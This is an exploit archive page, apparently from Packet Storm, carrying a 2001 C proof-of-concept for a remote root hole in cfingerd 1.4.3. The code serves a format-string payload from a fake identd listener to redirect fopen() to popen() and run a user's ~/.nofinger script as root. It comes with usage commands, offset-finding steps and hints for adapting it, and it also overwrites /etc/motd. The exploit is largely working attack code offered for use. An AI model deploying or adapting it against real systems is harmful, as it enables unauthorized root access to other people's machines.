exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

idcf.c

idcf.c
Posted Jul 12, 2001
Authored by Zen-Parse

Cfingerd v1.4.3 and below remote root exploit. Slightly broken. Exploit redirects fopen() call to popen() and executes code from ~/.nofinger.

tags | exploit, remote, root
SHA-256 | 071f4a1a2ce57b1bfa0e3867ce11912d46f52d364d1efbfd8b9ae3b75029765b

idcf.c

Change Mirror Download
/************************************************************

http://www.infodrom.ffis.de/projects/cfingerd/ states:

Cfingerd is a free and secure finger daemon replacement for
standard finger daemons such as GNU fingerd or MIT fingerd.

April 11, 2001 Megyer Laszlo < abulla@freemail.hu > wrote:

In 3 words: REMOTE ROOT VULNERABILITY


idcf.c - July 11 2001 - happy 3 month anniversary!


cfingerd 1.4.3 identd based localish exploit ;]
no shellcode required if you have a local account
make a script in ~/.nofinger that you want to be
executed as root.

it works by diverting the fopen call to popen. of
course it won't help if you don't already have a
local account but well, its just a proof of concept
and I think it's cute, and the more exploits there
are against an unpatched system, the more likely (I
hope) it will get patched. Would be nice if it worked
that way anyway.

./idcf|nc -l -p 113
on a box you have root on, and finger you@otherhost
to use.

this is hardcoded for four letter names, but shouldn't
require rocket science to make work for others.
Hint: offset and padding : format strings are fun.



M4D PR0PZ T0 :

Steven for showing me da bugz
noid 4 b3in6 7h3r3 wh3n no1 3153 w4z
grue 4 lurking, g00bER 4 something
and the rest of #roothat @ irc.pulltheplug.com

4150 70 mp3.com 4 http://mp3.com/cosv

***********************************************************/

// The offsets are from a version i compiled just to
// test the vulnerability and so will most likely not
// work for you.

// get this from objdump -R cfingered|grep fopen
#define OVER 0x0805532c
// get this from objdump -R cfingerd|grep popen
// and then gdb cfingerd and x/x 0xoffset from objdump
#define WITH 0x080491ba

#include <stdio.h>
main(int argc,char*argv[])
{
int z0=0,ovrw=OVER; // address to overwrite with pass 1
int z1=0,ovrw1=OVER+2; // address to overwrite with pass 2
int slen=strlen("evil fingered from ")+9;
int addr=WITH; // what to overwrite the address with
int offset=20; // where the first address is on the stack
int a1,a2;
FILE *f;
f=fopen("/etc/motd","w+");
if(!f)
{
fprintf("You must be root to use this exploit.\n");
exit(1);
}
a1=(addr&0x000ffff)-slen; // 1st number of bytes
a2=(0x10000+(addr>>16)-a1-slen)&0x0ffff; // 2nd number of bytes
printf(":::A%s%s",&ovrw,&ovrw1); // header/padding/addresses
printf("%%%ux%%%d$hn%%%ux%%%d$hn\n" // formatstring itself
,a1,offset,a2,offset+1);
fprintf(stderr,"Visit http://mp3.com/cosv/ today!\n");
fprintf(stderr,"And mebe visit your account on the other machine.\n");
fprintf(stderr,"after you finger it.\n");
fprintf(f,"Visit http://mp3.com/cosv/ today!\n");
fclose(f);

}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close